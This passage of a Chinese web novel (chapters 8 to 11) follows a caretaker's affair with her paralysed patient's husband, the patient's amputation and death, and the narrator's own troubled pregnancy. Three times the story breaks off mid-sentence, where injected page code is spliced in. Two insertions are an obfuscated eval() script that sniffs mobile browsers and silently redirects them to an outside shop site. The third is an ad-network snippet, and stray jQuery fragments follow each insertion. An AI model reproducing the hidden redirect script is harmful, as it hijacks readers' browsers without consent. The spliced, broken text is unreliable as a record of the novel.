我感到有些不安。更多是不知道卢越此举何意。
第九个娃娃在卢越手中,只有半截小指那样大小,里面竟然还有一层!他双手把娃娃左右一拧,娃娃身首分离,再度露出其中的空仓,两个小东西藏在里面,叮叮铃铃地倒了出来。
“这是……”
他举起手给我看,十分大方地:“牙齿!”
我心里一松,想到套娃里原来藏着卢越的乳牙,被层层保护起来的记录孩子成长的宝藏,倒是很温馨的一件事。只见他珍惜的把那两颗牙齿放到一边,然后一层层重新套起套娃,动作熟练,让人眼花缭乱。转眼,九个娃娃合为一体,突然放大凑到我眼前,那娃娃一脸窃笑的表情,我心里又一紧,被吓了一跳。
“这个送给你。”他举着套娃送到我面前,我一时不知如何反应,轻轻朝他那边一推,大意是拒绝的。
“不用,这不是你喜欢的吗?”
“没事,爸爸说要给我买新的。这个送给你。”
他说着将娃娃硬塞进我手里,木头套娃的表面光滑而冰凉,我苦笑不得,心里并不想要,不过更忌讳小孩子会因此伤心。小孩子送出自己喜欢的玩具,是异常高规格的礼遇。
难道他知道什么了?
我心里突然闪过这个念头。
“好罢……那阿姨谢谢你了,小越。”
他笑起来,更加出乎我意料的,给了我一个热情的拥抱。
我因为不熟悉的温情僵了一瞬,半响抬起手,回抱卢越,眼睛乱扫,又看到桌上那两颗牙齿。
它们一大一小,一颗是小孩换掉的乳牙,而另一颗……属于成年人的臼齿。
……谁的?
我抱着木头套娃下楼,感觉脑子昏昏沉沉。
迎面看见了面色阴沉的卢明。
他面前的餐盘一片狼藉,他的袖口也沾上了污渍。
我便什么都明白过来,也不说什么,拿了些简单的清洁工具,准备去卧室里收拾残局。
“别去。”卢明低声道,伸手拦住我。
他接着直接抓住了我的手,目光沉沉:“她知道了。”
我抱有一丝侥幸:“知道什么?”
“……我们。”
8. 第 8 章
医院里充斥着消毒水的气味,我正闭目养神,广播开始播报。
“田晓燕,6号诊室!”
听见自己的名字,我从座位上站起来。
我今天来做产检,卢明问需不需要他陪,他说不用。
“怎么不去x院?那里你不是更熟悉吗?”他随口问了声。
“y院孕产科更厉害点。”我淡淡回答,他也就没话说了。
“叫什么?”
“田晓燕。”
“今年多大?”
“三十七。”
听见我的答案,陌生医生从她眼镜上方朝我瞟来一眼。
“孕十五周……”她一目十行地翻看着病例。
我长话短说:“上次来检查的时候说胎儿偏小,这次来复查下。”
“行,躺上去吧。”医生干净利索地答应一声。
“上次是我们主任给你看的,今天主任上班的呀,你怎么不找她看去?”她顺嘴问了一句。
我一时不知道如何作答,梗住了。不过她似乎也不期待我的回答,给自己套上手套。
我撩起衣摆,把肚子露出来。
“这怎么弄的?”她指了指我肚子上的伤疤——她可真爱没话找话。
我咬着牙,忍受着涂抹b超凝胶的冰凉。
“阑尾炎……”
“不是,我说这个。”
她带着手套异物感明显的手无比精确地抚到我上腹部的疤口上,我感觉我的胃紧缩着蠕动了下。
回忆再次涌上。
月光透过小套间的窗户,带来模糊的亮光,除此之外一片漆黑。
“这是什么?”卢明的爱/抚游离在我的腹部,突然停了。
我压抑着喘息。
“阑尾炎……”——一模一样的谎话。
“你割过阑尾?”他似乎十分惊讶。
“这很正常啊,你没割过吗?”
他的手在我的刀疤附近逡巡,像伤口愈合那时一样,痒痒的。
“割掉的阑尾去哪儿了?”
我失笑:“当然是医疗垃圾扔掉了。”
“哦,真可惜。”他的低语像是沿着我的脊椎骨爬行。
“你还做过什么手术?”
他的语气亲昵,只是万万想不到这种内容的调情。
“没有了……怎么了?”
“——只是想多知道一点你。”他笑起来,慢慢抓着我塑形衣的下摆往上推着,要帮我脱掉,“不热吗?”
他这个人天生就带有一点诱哄的天赋。
我却没有上当,因为感觉我箍在这件贴身衣服里面,腰腹上因为减重而变得松弛的软肉正争先恐后地溢出来,忙制止他:“别……”
“让我穿着吧。”
眼睛适应了黑暗,看见他专注地看了我一会,然后挑起嘴角。
“好。那就还是套着好了。”
刘莉病情恶化前不久,我和卢明开始了偷/情。
不对,应该说,我和卢明开始偷/情之后,刘莉的病情恶化了。
我也说不清楚是什么驱使我那样做。
可能是卢明。
他是最开始发现我在变瘦的人,到后来,我变瘦的程度已经无法掩饰,第一次鼓起勇气穿上衣柜里精心挑选的连衣裙,他看见了微微一笑:“好看的。”
我们后来经常聚在一起抽烟。他还回来打火机的时候,不知是不小心还是有意,碰到我的手指。
我们四目相对,我竟先低下头去。
我过去总是格外坦然的。
他果然抓住这一点调笑:“晓燕,你瘦了之后,像整个人蜕变了似的。”
“蜕变”——那两个字格外顺我的耳,我偏过头,朝窗外吐一口烟,半开着玩笑的语气:“是啊。感觉还行吧?要是可以,我今后只抽烟,不吃饭了。”
他听了忍不住笑,又真心实意道:“你瘦了确实好看。”
我心里一跳,挑了挑眉,道:“你觉得吗?我以为你会喜欢刘莉那种。”
如果这只是一时兴起的调情,我想他应该知难而退。
我妈信誓旦旦说卢明喜欢胖女人的样子,又似乎出现在我的眼前。
没想到卢明低头想了想,分外认真地道:“你和刘莉不一样。”
我第一反应心想,当然,不一样。她不管怎样都是美女,我最多能不当个死胖子。
“她适合胖一点,你嘛……现在这样就刚好。”
他又道:“她是柔软的,你更适合冷色,有筋骨一点。”
我招架不住:“仅此一次,我不计较你对我阴阳怪气,得了……”
“我没阴阳怪气,我说真的。”
我说了,他天生有种诱哄的天赋。
“你有一种危险又神秘的特质,我第一次在医院看见你抽烟的时候就那样想……”
我打断他:“不觉得我变了一个人吗?”
他低头把燃到手指的烟掐灭,笑了一下:“不。我觉得你本来就是如此。”
从那次以后,我确定卢明对我有意思。
但这还不足以驱使我和他偷/情。
——或许是因为刘莉。
“燕姐,你好瘦了。”刘莉躺在床上,表情十分复杂地看着我。
我无可否认,仍旧敷衍道:“最近胃口不大好。”
她打量着我穿着新连衣裙的样子,突然笑笑:“燕姐穿这件好看,不过还得化化妆才行。”
我道:“工作时才顾不上那些。”
她以为我听不懂她话里的刺,反而一梗,硬邦邦地又问:“燕姐是不是要准备再找一个了?我瘫在这里反正没事,不如给我参谋参谋。”
见我又不接她的话,她有点生气了,眼睛一转,又道:“等我死了,我是想卢明再找一个的。”
我帮她量着血压,按压气泵的手一顿,随后恢复。
她只管觑着我的眼色:“不过得是我看准了的才行。要温柔体贴,对小越好的……还至少得和我一样漂亮。”
我忍不住笑出声来。
她果然被激怒:“你笑什么?”
“没什么,”我道,“所以呢,有人选了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782291|145797||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吗?”
她被噎了一下,苍白的脸色因为恼怒显出几分娇艳的红润:“我还在呢,卢明当然不能……他心里只有我一个!”
她不知想到什么,红了眼眶,呼吸也急促起来。
我无动于衷,脸上挂着未退去的冷笑,只管看着血压计上跳动的数字。
“凭卢明的条件,想要倒贴他的多的是,不乏年轻漂亮的想当卢越后妈!有些不自量力的,趁早死了那条心吧!”
或许没人比我更懂得如何与无理取闹的女人交锋。无视她们的杀伤力胜过了一切。
“高压140,低压90。”我宣布结果,“有点偏高,睡前我再来量一次。”
刘莉哭了起来。
就在那天晚上,我和卢明上床了。
我坐在套间的床上,听见主卧里传来刘莉和卢明激烈的争吵声。
我想过我有可能会被辞退。
如果没有,我还要替刘莉为卢明感到失望呢。
卢明从主卧摔门而出,绕了一圈,静悄悄地站在我套间联通走廊的那扇门前时,我正在把我这几个月积攒的所有衣服一一打包。
他闪身进来,压低声音,刘莉就在另一扇门外。
“刘莉要辞退你。”
我一点都不意外,且看我身后衣服乱糟糟地摆了一地,抽屉、衣柜大敞开着,像刚刚遭遇了一场洗劫,一整个底朝天。
“你们之间刚才发生什么事了?”
我一笑,倒真想让他来评个理。
“你老婆好像以为我要勾引你。”
他实属没料到,张口结舌站在那里,喉结上下滚动,没有逃过我的眼睛。
他抵着墙站着,这时我伸手到他身后,钮灭了电灯。
不知过去了多久,刘莉在主卧疯狂按铃,持续了快有五分钟。
我从床上起身,套上塑形衣外的线衣,又重新扎好了头发。
卢明在床上睡着,我摸黑从走廊的门出去,结果正遇到卢越。他一脸茫然地站在楼梯口,似乎在犹豫要不要去看下刘莉。
我们四目相对。
我一点也不惊慌,冲他放柔了声音:“你回屋去吧,我来就行。”
我绕了一圈,重新进入主卧,面带微笑,手中拿着血压计。
刘莉的血压降下去了,却陷入昏迷。
……
医生的话将我拉回现实,回忆到此结束。
“你这个是缩胃手术吧,做了多久了?”
我讷讷地回答。其实病例上都有。
“当时没有怀孕计划……”
我苍白地解释着,从医生紧皱的眉头上看出不妙的苗头。
——第二次在医院遇见卢明那回,我就是来做这个“小手术”的。
“缩胃手术导致吸收不好,营养不良,啧,胎儿发育滞后。”医生给出诊断,我本想到能从她口中得出什么不一样的答案,谁知还是没有例外,“你本来就属于高龄产妇,风险想必我们主任也跟你强调过……看现在这情况,很有可能会胎停,只能先保胎观察,必要时终止妊娠。”
9. 第 9 章
晚上睡觉的时候,卢明从后面抱住我,一手珍惜地搭在我的小腹。
我看不见他此时的脸,心想那表情一定是充满眷恋。
“今天去产检了,医生怎么说?”
“……让我好好养胎。”
他不疑有他,打了个哈欠:“下次别那么固执,还是让我陪你一起去吧。”
我微不可察地叹了一口气:“嗯。”
他的呼吸逐渐匀停,我突然道:“卢明。”
“什么?”
“如果我没有这个孩子,你还会娶我吗?”
他在床上翻了个身,想也不想回答:“当然会了。——又胡思乱想什么呢?”
我放柔了声音:“理解一下,孕妇嘛。”
“我和你结婚,当然是为了你。”他斩钉截铁的回答足以让任何女人神魂颠倒,死心塌地。
我把一只手枕在脑袋下,心安了一些,半响鼓起勇气道:“我这个年纪怀上孩子,总觉得有点不踏实……如果我们只有卢越一个孩子,是不是也挺好的……你说呢?”
我的丈夫在我身边已经睡着了。
凌晨三点,我横竖睡不着,从床上翻身而起。
我光着脚走出卧室,没发出一点声音。路过卢越一片漆黑的卧室,略停了停,往楼下走去。
卢越今晚在学校住,不在家。
对于他妈妈去世,我怀孕、嫁给卢明——先后顺序不重要——这发生的一系列事,这个十岁的小孩接受的相当好。
我总是忍不住想起他送给我套娃的那一天,仿佛一个诡秘的表达认可的仪式。他从此真的换了一组新的套娃,仍然与他形影不离。
新套娃是红色的,跟之前那个比,笑容收敛一点,薄薄的嘴唇似笑非笑,有几分讥讽的神情。如果说之前的紫色套娃我只是无感,这个新套娃则实实在在地叫我恐惧。
我后来才知道套娃与他家的渊源——卢越的爷爷,卢明的爸爸当年下岗后,在俄罗斯边境倒买倒卖,其中最受欢迎的商品就是各色套娃。
卢明从小跟在他爸身边耳濡目染,于是尤其喜欢套娃。后来更是子承父业,年轻时很长一段时间是俄罗斯小商品贩子,直到后来重新遇到刘莉,岳家帮女婿在家里的厂子里另外找了份体面的工作才算完。
是的,他和刘莉青梅竹马,但中间刘莉去外省念大学分开了几年。回到家乡的刘莉迅速与他坠入爱河,紧接着步入婚姻。
我头一回知道卢明喜欢套娃,感到有点诧异。这个家里,除了卢越形影不离的那个,几乎没有什么与套娃相关的元素……不对,不止那个,还有一个——那个旧的紫套娃呢?
我发誓我一开始只是想下楼去厨房倒杯水喝,然而脑子里突然出现了紫套娃的念头,驱使着我走进白天清理过的小套间。
打开灯,那个紫套娃正静悄悄地躺在一堆杂物中间,分外灿烂地冲我笑着。
我有点感到内疚,卢越把他的心爱之物送给了我,我却不闻不问……
这样想着,我心不在焉,一层层旋开套娃的外壳。
一、二、三……
第九个小套娃不到我的小手指大,正面露笑容戏谑地看着我,我盯着它看了一会,忍受着一种沉默的催逼。
打开它!
打开它!
我知道那里面的两颗牙齿已经不在了,不妨碍我忍不住摇晃着它,听到其中内容物孤单的回声。我终于将它扭开——
一个轻飘飘的东西掉落出来。
我辨认了一会,忍着不适确认了内容物的身份:一片月牙形的脚趾甲,一侧沾了陈旧的血。
这次我清楚地知道这属于谁的。
——刘莉。
……
吕医生初次拜访的当天晚上就再度被紧急召唤。
卢明捏了一下我的手表示安慰,然后转身去开门,吕医生满脸堆笑,想起来又觉得不应该,于是迅速转换了一个严肃的表情。
“发生什么事了?”
卢明对他耳语几句,两人又进了刘莉的房间。
刘莉与卢明在不久前的争执中烫伤了自己。
我进去送东西的时候,看到卢明半坐在床头,分外爱怜地扶着刘莉的头,轻柔劝慰着。
“乖,都是我不好,不痛不痛了……”
刘莉在哭,不知是不是我的错觉,我进来之后她的哭声变得更大了。
她脸侧有一片发红的烫伤,吕医生正在帮她处理。
“还好,没什么大碍。多注意不要感染,有点耐心,能恢复的。”吕医生手里拿了一管烫伤的药膏,正要转交给我,刘莉又爆发了:“我不要她!呜呜……”
我冲吕聪使了个眼色,他于是手一转,交给了卢明。
“一天三次上药,有问题随时问我。”
“知道了,谢谢。”
吕聪乖觉地恭维几句卢明爱妻之类的话,随后自告奋勇,要帮我一起把刘莉身下沾了菜汤的床单换了。
卢明仍然抱着刘莉,或者是刘莉一味抓着他脱不开身。他拖着刘莉庞大的身体在大床上腾挪,给我们让出位置。
三个人都出了汗,这时听着刘莉独角戏一样的抽噎声,心情更加烦躁了。
吕聪按照小时计费,对走这一趟十分满意,他自称家就在这附近,来卢家非常方便,今后类似的事情也要尽快通知他。好容易换完床单,他又磨蹭了一会才告辞。
于是房间里只剩下我们三个人,气氛显得有些诡异。刘莉哭,卢明哄,我则公事公办,只求不出错,去浴室打了水来,如往常一样,准备给刘莉擦身,朝卢明询问地投去一眼。
他现在的状况,早已没了平时的从容,显得有些狼狈,衬衫皱巴巴的,上面沾满了刘莉的泪痕。刘莉绵软无力的双手死死地扣住他,压着他,不让他离开。
“娃娃,听话,我们给你收拾一下……”
“我说了!我不要她!”
卢明表情忽地变了。
他挣开刘莉的手,刘莉的上半身瞬间失去支撑,倒在一堆枕头上。
“你在耍什么脾气?凭什么给晓燕脸色?她有什么地方对不起你?”
他突然翻脸,连我也跟着一惊。
刘莉恨恨地看着我:“她心术不正,我还没死呢,就敢打你的主意!”
“还要我给你解释多少遍?我们之前什么也没有!”
刘莉哭道:“别把我当傻子,我都闻到了,你们身上一模一样的烟味,仗着我瘫在床上,背地里不知道背着我干什么……”
“我也说了,就是背着你抽烟而已!”卢明一脸痛心,“你为什么就是不信?难道非得是你想的那样,你心里就舒服了?”
“如果就那么简单,为什么非得我问你才承认?”
“这难道是什么光彩的事吗?我答应了你要戒烟,我没能做到,我食言了——就那么简单!”卢明看起来要崩溃了,朝刘莉控诉,“我每天都提心吊胆,害怕你出什么事,辜负了你爸妈临死前对我的嘱托……这些话我谁都不能告诉,你知道我的压力又多大吗?所以在你看不见的时候和晓燕抽了两只烟!对不起!不该不主动向你报备,这一切都是我的错!你满意了吗?”
他一番情感宣泄,让房间里的气氛趋于静止。
刘莉目光闪烁,欲言又止,似乎内心陷入了挣扎。
我则低下头去,明知真相,心情复杂地扮演一个受害者。
卢明一脸失落,露出一个嘲弄的笑容:“这么多年了,你连这点信任也不愿意给我吗?”
“我没有……对不起……”刘莉终于不敌地嗫嚅道。
卢明突然大踏步朝我走来。
“别跟我说对不起,我们对不起的——只有晓燕!你自己想想,晓燕平时对你是不是尽心尽力?她从来到现在,因为操心瘦了多少?结果你背地就那样想她?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782292|145797||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实话说了,是我求她来照顾你,否则她根本没必要受你这份气!”
“……”
“晓燕。”卢明转头叫我的名字,我如梦方醒,抬起头来,“抱歉让你看了笑话——不过既然你在这里,不妨最后一次跟刘莉说明白,我们之间是什么关系。”
他说了又转过头去看着刘莉,仿佛一个调停人,声音冷静一点:“你听明白了,今后就不要再疑神疑鬼了,怎么样?”
刘莉在我看不见的地方点了点头,她已经完全败下阵了。卢明扶着她重新靠在靠枕上,撑起上半身,好与我对视。刘莉咬着嘴唇,想看着我,目光游移好几次,分明已经动摇。
卢明在她身后,朝我投来一个鼓励的目光。
我产生了一种不真实的感觉,好像昨晚跟我在套间的床上纠缠的不是他一样,我确实是被冤枉的,何其无辜啊……
卢明又是那样信任我,笃定我此刻不会良心发现。
我也没有辜负他的信任,用一种平稳地不容质疑的语调,向刘莉陈述以下的句子。
“小莉,我是照顾你的护工,卢明是我的雇主。我们真的只是碰到一起抽烟——只有几次而已——下次不会了。”
在卢明的殷切目光中,刘莉垂下眼去:“是我错了,对不起……”
“……没关系。”
尽管握手言和,那晚我没有给刘莉擦身。
从刘莉认错开始,卢明重获对于她的一切权力。
没有擦身,像是一种无言的惩戒。而他恩威并施,在刘莉小小声的恳求中,当晚留宿在刘莉的房间,拥着她入睡。
我孤单地回到我的小套间。
我并没有什么特别的想法,对于刚才发生的一切,甚至没有一种评判标准,来衡量我此时的处境。
我想的很开,跟卢明的偷/情只是一种报复,一种冲动,一种艳遇。现在要结束了,我理所应当地认为。
然而当晚,在刘莉熟睡之后,卢明打开主卧与小套间之间的门,溜了进来。
“我锁门了。”他一只手指抵在唇间,压低声音安抚着我。
刘莉疲倦的鼾声隔着门传来,暂停了一会,又悠扬地继续。
偷/情的滋味美妙无比。
“晓燕,我会娶你。”
——那时我便知道,我和这个可怕的男人之间没有结束,而是刚刚开始。
风平浪静过去了一周的时间,这期间我按照卢明的吩咐,没有给刘莉擦身,我想或许是卢明代劳了。
刘莉的颊边烫伤的红印恢复缓慢。我一天三次给她上药,除此之外再没有其他护工的职责。
那次之后,不妨碍刘莉看见我仍然别别扭扭的,有种刻意的客气。
与此同时,她对卢明更加依赖。我撞见的几次,她那甜腻而顺从的语气像是某种刻意的表演——或许就是表演给我看的。不过我从不往心里去,想到每晚在套间里发生的秘密,我想这就是胜利者的心态。
一天清晨,我照例来到刘莉的房间,开窗通风。
不论再怎么注意,房间里仍然有一股病人的浊气。
“今天有点风——会不会吹到你?觉得凉就跟我讲。”
她没理我。
我朝床上看了一眼,只见她脸色苍白,双眼闭着,似乎还没醒。
我走近,她也没有动,呼吸时重时轻。
我碰了碰她,体温高的吓人。
吕医生又来了。
放下听诊器,他面色严峻:“不成了,得送医院去。”
等救护车来的时候,我准备给她换上外出的衣服,掀开被子,下面的景象使我一惊。
刘莉的右脚袜子与睡裤之间露出的一截肌肤呈现不正常的紫绀色,向上蔓延了不知多远,散发出若有若无的恶臭。
我曾经在医院见过许多类似的破溃糖足。
或许那时我就隐隐知道,刘莉的右脚保不住了。
10. 第 10 章
刘莉瘫痪十年,有八年的糖尿病史。
她那肥胖的不可思议,又美丽的不可思议的身体最终没有逃过糖尿病最为常见的并发症——糖尿病足。病痛在她瘫痪的身体上展露了狰狞的面目。
仅仅七天而已。
她自述是那天的菜汤也烫到了她的脚,对于一个行动能力有限的瘫痪病人来说,有点匪夷所思。她长期瘫痪卧床,根本无法感觉到烫伤,而且偏偏是糖尿病人最为危险的下肢——于是在丈夫与护工都没有察觉的情况下,病程迅速发展。
她的脚烂掉了,青色的腐肉一直蔓延到小腿下方。
一开始没到截肢那一步,只是无休止的换药,拆药,腐肉剔掉又长,感染不尽,长了又烂。
这时还要庆幸刘莉没有知觉。
她再一次躺到医院拼凑起来的特护病床上,右脚吊高,方便换药,肚子上的肥肉阻挡了她的视线,使她看不到右脚的腐坏,还有换药时恶心可怖的场景。
我是有心理准备的,只有卢明对此一无所知。
他现在能做的只有陪伴在刘莉身边,握紧她的手。
……可能握的有点太紧了。
“疼。”刘莉偏着头,撒娇一样冲他道。
卢明一时忘了刘莉的身体状况,转头冲换药护士,有点急躁地道:“麻烦轻一点。”
刘莉温温柔柔地笑:“我是说我的手。”
卢明后知后觉,忙松开一点,换药医生一脸莫名,用镊子撕去陈旧腐坏的表皮,接着用团成团的纱布在大脚趾暴露的空洞里毫不留情地掏摸着。
“对不起,我去趟洗手间……”
卢明匆匆走出病房,我则接替他守在刘莉的床前。
他没忍住到洗手间,半路就吐了出来。走廊里男人呕吐的声音在病房里听得清清楚楚。
“很恶心吗?”刘莉漠然地问我。
我说:“还好。”
“你能帮我去给医生说说吗?”
“什么?”
她清晰无比的吐出几个字:“我要截肢。”
我沉默半响,道:“医生没有建议,说明还没到那一步。小莉,你的脚是可以保住的。”
“保住一只烂脚有什么用?”她自嘲一笑,“我还能指望它下地走路吗?”
我不说话,她气馁地吐出心里的真实想法:“我不能让卢明看到我就恶心。”
我不接话,答应了一声,不过去把医生叫来,让她自己说去。
真要我说的话——我觉得卢明其实并没有那么重要。
卢明在卫生间吐得昏天黑地的时候,刘莉已经跟医生确认,随后再次陷入昏睡。
我带着手术同意书,在走廊里找到了在长椅上发呆的卢明。
“这是什么?”
“刘莉的手术同意书。”
“什么手术?”
“截肢。”
“截肢?!”他重复一遍,“怎么会?”
走廊里的灯光很暗,我一个晃眼,有一瞬的错觉,还以为他在笑。
“这是刘莉的意思。”我说。
他颤抖地握着笔,笔尖滑过纸张,留下他的名字。
刘莉住院期间,我们暂停了偷/情。
卢明对刘莉无微不至,眼里几乎看不到我。
刘莉享受着失而复得的宠爱,后来看来,那是她人生中最后一段幸福的时光,虽然代价太过沉重。
糖尿病人下肢的任何一点小伤口都可能造成严重的后果。前几天,刘莉还别有用心地向我炫耀,卢明给她剪脚趾甲,意思是他连那种事都愿意帮她做。
我偷偷藏起了刘莉来医院时脚上穿的那双袜子。
我不怕恶心,翻到袜子的内层,在一片脏污中看到了脚尖的一点血迹。
刘莉突发的糖足一定有护理不周的原因,但是没人去在意其中细节。
到了这个时候,是被不小心烫伤,还是剪指甲时的伤口引发了最初的病灶,又有什么关系呢?
手术排在晚上八点。我在手术室外陪着卢明。
他合起双掌,闭着眼睛,像在祈祷一样。
我头一次对眼前这个男人生出了好奇心。我选择观察,而不是在此时开口。
这样无言地过去了一个小时,直到他燃起倾诉的渴望,我的行动证明我会是一个好听众。
“我想起了我和刘莉刚结婚那时候。”他的声音低低的。
“我岳父母对我不太满意,但刘莉执意要嫁给我。我们的婚礼在市里最大的酒楼举行,排场特别大,不知道的还以为我是什么风云人物,才能娶到刘莉那样的老婆……其实那次是我第一次穿西装。”
“她出场的时候,简直太美了,像天仙下凡,像电影明星,像玩偶娃娃……反正不像真的。”
等我后来翻阅相册,才不得不承认当时他不是在夸大其词。
而当时的我只是认真听着。卢明打开了话匣
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
子,简直像入了迷似的。
他自言自语一样:“我还记得我们的新婚之夜……当时我喝了一点酒,走进卧室,她早就等着我。”
“古时候新娘子洞房花烛,不是要蒙个盖头什么的吗?她那个鬼灵精,非要反其道行之——用被子给自己裹起来,唯独把脸露出给人看。她还没有卸妆,那张脸啊……白生生的,睫毛又黑又长,我永远也不会忘记。”
“就像我们还小的时候凑在一起玩家家酒,她对着我撒娇,说她没有手,也没有脚,要我抱……”
卢明的声音越来越低:“我就觉得可爱,怎么能这么可爱?像……套娃一样。”
我突然一个激灵。
卢明也如梦方醒,干干笑了两声。
“手术还有多久?”
“如果没有意外,应该还有三个小时左右。”
“哦……”
一阵尴尬的沉默来袭。
卢明想了想,还是开口道:“晓燕,这段时间,你还好吧?”
正好是个机会,我不接他的话头,郑重道:“卢明,我有话跟你说。”
“——我怀孕了。”
*
刘莉的手术过程还算顺利,在术后受到了严密的监护,对于她这样超重的病人,麻醉一直是一个让人头疼的问题。
过去了二十四小时,她没有醒,靠着呼吸机维持着生命。护士每隔一小时就过来检查一次,摇摇头又离开了。
我想过,她会不会永远醒不过来。好在,第二天有惊无险,她睁开了眼睛。
她右膝以下被截断了,只留了可怜的一小节残肢,像是一截爬虫,看起来不伦不类,减损了她身体的美丽。
卢明对她的态度慢慢产生了变化。不再如之前一样温和而耐心。
——我也不清楚是否跟我告诉他的那件事有关。
可怜的是,她更加依赖他。
她生命的最后阶段都在医院里度过,再也没有回到家。
我尽心尽力地护理她,决定从卢明身上收心——直到她死亡之前。
刘莉第一次手术的那个晚上,我告知卢明怀孕的消息,他说他要想一想。
在刘莉第二次被推进手术室的又一天晚上,我得到了他的回答。
“——我们结婚吧。”
我感觉一切都好像在做梦。
手术室灯亮不到三十分钟,麻醉医生气急败坏地走出来,宣布了刘莉死亡的消息。
11. 第 11 章
又一天医院之行,我手里拿着那张“终止妊娠同意书”,妥帖地放进包里。
这段时间的保胎效果不大。
“得尽快做决定。胎心已经很弱了。”
“我知道,医生,我出去一趟,下午就回来做手术。”
她欲言又止:“怎么不见你的家属……”
我什么也没说,只冲她笑笑。
这位医生就好像知道了什么一样,乖觉闭上嘴。
三十七岁的孕妇,很容易脑补出背后有什么不为人知的故事。
——不,她什么都不知道。
我招来一辆计程车,报上一个地址,计程车朝着老城区离弦而去。
十五分钟后,我在一个小区下车,敲响四楼的一户房门。
“谁呀?”
房里传来声音,拖鞋踢踏着靠近。一个留着焦黄卷发的女人的脸出现在我面前,与我四目相对。
“是你——!”她未免有点太戏剧化的反应。
何美玲,是我呀。
她为什么那么惊讶呢?
五年前,她来找我,在我面前上演类似的戏码的时候,估计心里也这么想。
为什么那么惊讶呢?
我和胡一亮青梅竹马的故事里,还有一个何美玲。
我们三个从小一起长大。
胡一亮的爸爸是车间主任,虽然也一起下岗,不过在老工友之间光环不减。他家和我家交情更深,我爸妈从小就看好了他。
他日后果然成了我们田家的女婿。
我们结婚时,何美玲作为我的闺蜜,是我的伴娘。
她也像每个闺蜜那样,对闺蜜的伴侣万般挑剔。
“晓燕,他根本配不上你!”
她私下里对我说,我只是笑而不语。
“胡一亮这个人,没本事还脾气暴,就知道窝里横,你嫁给他真要吃苦头啦!”
她这样劝阻我:“要不要再考虑考虑?”
我为难道:“唉,谁叫我爸妈看好了他。嫁谁不是嫁。就这样吧。”
——不是的,那不是我的真心话。
我从小就喜欢胡一亮,他和何美玲疯玩儿闯祸的时候,我则负责给他俩兜底。
如果要我给这个喜欢一个程度的定义,我愿意称之为“爱”。
何美玲自以为很了解胡一亮,她说的胡一亮的所有缺点一点不错。
他母亲已经去世,继承了父亲的小卖店,只是成天的混日子,赌牌,喝酒,回到家就动辄打骂我。我们结婚许多年都没有孩子,更成了他拿我撒气的理由。
对外,我维护他的面子,也是维护我自己的,一概说他对我很好。咬着牙,供着我们两人的小家在绿城的新小区购入了一套房子。
我的付出却换来他和何美玲的通/奸。
五年前他病死,何美玲登堂入室,表示她已怀孕,拿着一张“终止妊娠同意书”找上门来。
我手握胡一亮的保险款,分给胡爸三十五万,给我爸妈二十万,又给了她三十五万。
“晓燕,”那时她笑笑,“你想让我签字呢,还是不签字,把孩子生下来,给胡一亮留个后?你给个准话儿,我都听你的。”
我木然道:“随便你。”
“这三十五万给你,你和我、和胡一亮再无瓜葛——包括你肚子里的孩子。”我觉得有必要再解释一下,“这不是赡养费,是封口费。你同意,我们签协议,钱马上转给你。”
她眼前一亮,马上答应,我也干脆。
我只是想要一个体面的前夫。
如今已有五年未见。
“是你呀,晓燕……”她心虚地放柔声音,却没有要来开门的意思。
我微笑道:“不准备给我开门吗?”
“不太……方便。”她左顾右盼。
我不慌不忙,从门口的牛奶盒里摸到一把钥匙——这就是青梅竹马的好处了。
她无可奈何给我开了门。
二十多平的老房子里布满贫贱生活的痕迹——她没有把那个孩子生下来,我早料到如此。身上的羊绒大衣转身时碰到了灰尘,被我轻轻掸掉。
“上次我真不是故意遇到你妈的,这些年我都躲着你家里人走,谁知道她也来了那家麻将馆……她扯着我多说了两句,我也是一抓瞎,随便应付了几句,回头也忘了说什么……”她察觉我来者不善,估计当我是来兴师问罪的,在我开口前,手足无措地为自己辩解起来。
哦对,如果不是她,我妈还不知道保险款有九十万。
“没关系。”我云淡风轻地笑笑,“别紧张啊,我只是想到老朋友,过来看看你。”
她略微松了一口气,这时想起来打量我,声音高亢起来:“唉,我都听说了,你二婚了吧?听说嫁了个好男人,你妈的消息都传遍了……”
“嗯,他对我是挺好的。”我答应一声,其实并没有人问。
如愿以偿地看到了她羡慕压抑着怅然的目光。
“你幸福就好……”
“婚礼前段时间在xx酒店办的,可惜你没来。”
“啊,对,太忙了,”她呵呵笑着,仿佛真的受到了邀请一样,配合着我演戏,即使现在除了我们谁也没有。
谁叫我白付了她三十五万呢。
“——我怀孕了。”我向她宣布,她的笑容僵在脸上。
“看来是胡一亮不能生。”我笑道,“所以,你当时怀的是谁的孽种?”
她似乎是早预料到了这一天,双膝一软,无比流畅地在我面前跪下来,开始哭泣:“对不起,对不起……我当时真的缺钱,债要压死我了呀!现在你找我要,我也没有……”
“是嘛,既然你没有钱,还怕什么?”我慢条斯理道,“而且,谁说我要找你还钱了?”
*
当我遵守承诺回到医院时,看得出来医生有点惊讶。
“我先生也到了。”
我看见了卢明,冲他招手。
卢明一身西装,看起来像个成功人士,再次出乎医生的意料。
我得对这个孩子表现的更惋惜一点。
“晓燕,这是怎么回事?”
